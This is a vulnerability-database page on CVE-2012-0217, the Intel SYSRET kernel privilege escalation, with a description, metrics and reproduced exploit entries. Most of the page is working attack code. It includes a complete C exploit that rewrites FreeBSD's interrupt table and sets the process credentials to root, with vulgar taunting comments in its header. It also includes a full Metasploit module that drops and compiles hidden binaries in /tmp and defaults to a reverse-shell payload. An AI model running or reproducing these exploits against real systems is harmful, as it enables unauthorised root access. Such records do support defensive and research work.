CVE-2012-0217 Detail

CVE-2012-0217

CVE Descriptions

The x86-64 kernel system-call functionality in Xen 4.1.2 and earlier, as used in Citrix XenServer 6.0.2 and earlier and other products; Oracle Solaris 11 and earlier; illumos before r13724; Joyent SmartOS before 20120614T184600Z; FreeBSD before 9.0-RELEASE-p3; NetBSD 6.0 Beta and earlier; Microsoft Windows Server 2008 R2 and R2 SP1 and Windows 7 Gold and SP1; and possibly other operating systems, when running on an Intel processor, incorrectly uses the sysret path in cases where a certain address is not a canonical address, which allows local users to gain privileges via a crafted application. NOTE: because this issue is due to incorrect use of the Intel specification, it should have been split into separate identifiers; however, there was some value in preserving the original mapping of the multi-codebase coordinated-disclosure effort to a single identifier.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 28718

Publication date : 2013-10-03 22h00 +00:00
Author : CurcolHekerLink
EDB Verified : Yes

/* * FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit * Author by CurcolHekerLink * * This exploit based on open source project, I can make it open source too. Right? * * If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :) * * Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink, * Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam * if you would like next private exploit leakage, just mention @MamahhDedeh * * Some people may feel harmed when we release this exploit :)) * * p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :)) * */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include <sys/mman.h> #include <machine/cpufunc.h> #define _WANT_UCRED #include <sys/proc.h> #include <machine/segments.h> #include <sys/param.h> #include <sys/linker.h> #define TRIGGERSIZE 20 #define BOUNCESIZE 18 uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp; struct gate_descriptor * sidt() { struct region_descriptor idt; asm ("sidt %0": "=m"(idt)); return (struct gate_descriptor*)idt.rd_base; } u_long matchsym(char *symname) { struct kld_sym_lookup ksym; ksym.version = sizeof (ksym); ksym.symname = symname; if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { perror("kldsym"); exit(1); } return ksym.symvalue; } void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist) { struct gate_descriptor *ip; ip = idt + idx; ip->gd_looffset = func; ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL); ip->gd_ist = ist; ip->gd_xx = 0; ip->gd_type = typ; ip->gd_dpl = dpl; ip->gd_p = 1; ip->gd_hioffset = func>>16; } void payload() { printf("[+] Woohoo!!!\n"); exit(0); } void resetidt() { struct thread *td; struct ucred *cred; struct gate_descriptor *idt = sidt(); setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0); asm ("mov %%gs:0, %0" : "=r"(td)); cred = td->td_proc->p_ucred; cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; cred->cr_groups[0] = 0; asm ("swapgs; sysretq;" :: "c"(payload)); } void resolving() { Xdivp = (uintptr_t)matchsym("Xdiv"); Xdbgp = (uintptr_t)matchsym("Xdbg"); Xbptp = (uintptr_t)matchsym("Xbpt"); Xoflp = (uintptr_t)matchsym("Xofl"); Xbndp = (uintptr_t)matchsym("Xbnd"); Xillp = (uintptr_t)matchsym("Xill"); Xdnap = (uintptr_t)matchsym("Xdna"); Xfpusegmp = (uintptr_t)matchsym("Xfpusegm"); Xtssp = (uintptr_t)matchsym("Xtss"); Xmissingp = (uintptr_t)matchsym("Xmissing"); Xstkp = (uintptr_t)matchsym("Xstk"); Xprotp = (uintptr_t)matchsym("Xprot"); Xpagep = (uintptr_t)matchsym("Xpage"); Xfpup = (uintptr_t)matchsym("Xfpu"); Xalignp = (uintptr_t)matchsym("Xalign"); Xmchkp = (uintptr_t)matchsym("Xmchk"); Xxmmp = (uintptr_t)matchsym("Xxmm"); } void trigger() { printf("[+] Crotz...\n"); uint64_t pagesize = getpagesize(); uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize); mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (mappedarea == MAP_FAILED) { perror("mmap (trigger)"); exit(1); } char triggerpayload[] = "\xb8\x18\x00\x00\x00" "\x48\x89\xe3" "\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde" "\x0f\x05"; uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE; memcpy(offset_addr, triggerpayload, TRIGGERSIZE); *(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8); printf("[+] Crotz...\n"); char bouncepayload[] = "\x0f\x01\xf8" "\x48\x89\xdc" "\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde" "\xff\xe0"; uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF)); size_t bouncer_allocsize = pagesize; if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE) bouncer_allocsize += pagesize; if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED) { perror("mmap (bouncer)"); exit(1); } memcpy(bouncer, bouncepayload, BOUNCESIZE); *(uint64_t*)(bouncer + 8) = (uint64_t)resetidt; ((void (*)())offset_addr)(); } int main(int argc, char *argv[]) { printf("[+] SYSRET FUCKUP!!\n"); printf("[+] Start Engine...\n"); resolving(); printf("[+] Crotz...\n"); trigger(); return 0; }

Exploit Database EDB-ID : 46508

Publication date : 2019-03-06 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'FreeBSD Intel SYSRET Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in the FreeBSD kernel, when running on 64-bit Intel processors. By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 8.3-RELEASE (amd64); and FreeBSD 9.0-RELEASE (amd64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Rafal Wojtczuk', # Discovery 'John Baldwin', # Discovery 'iZsh', # Exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2012-06-12', 'Platform' => ['bsd'], 'Arch' => [ARCH_X64], 'SessionTypes' => ['shell'], 'References' => [ ['BID', '53856'], ['CVE', '2012-0217'], ['EDB', '28718'], ['PACKETSTORM', '113584'], ['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'], ['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'], ['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'], ['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'], ['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'], ['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation'] ], 'Targets' => [ ['Automatic', {}] ], 'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data, gcc_args='') upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path chmod path end def exploit_data(file) ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-0217', file) end def is_root? (cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0') end def strip_comments(c_code) c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') end def check kernel_release = cmd_exec('uname -r').to_s unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/ vprint_error "FreeBSD version #{kernel_release} is not vulnerable" return Exploit::CheckCode::Safe end vprint_good "FreeBSD version #{kernel_release} appears vulnerable" arch = cmd_exec('uname -m').to_s unless arch.include? '64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" hw_model = cmd_exec('/sbin/sysctl hw.model').to_s unless hw_model.downcase.include? 'intel' vprint_error "#{hw_model} is not vulnerable" return CheckCode::Safe end vprint_good "#{hw_model} is vulnerable" CheckCode::Appears end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload and compile exploit executable executable_name = ".#{rand_text_alphanumeric 5..10}" executable_path = "#{base_dir}/#{executable_name}" upload_and_compile executable_path, strip_comments(exploit_data('sysret.c')), '-Wall' # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec executable_path output.each_line { |line| vprint_status line.chomp } unless is_root? fail_with Failure::Unknown, 'Exploitation failed' end print_good "Success! Executing payload..." cmd_exec payload_path end end

Exploit Database EDB-ID : 20861

Publication date : 2012-08-26 22h00 +00:00
Author : Shahriyar Jalayeri
EDB Verified : Yes

Source: http://packetstormsecurity.org/files/115908/sysret.rar This is proof of concept code that demonstrates the Microsoft Windows kernel (Intel/x64) SYSRET vulnerability as described in MS12-042. The shellcode disables code signing and will grant NT SYSTEM privileges to a specified application or already running process. Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20861.rar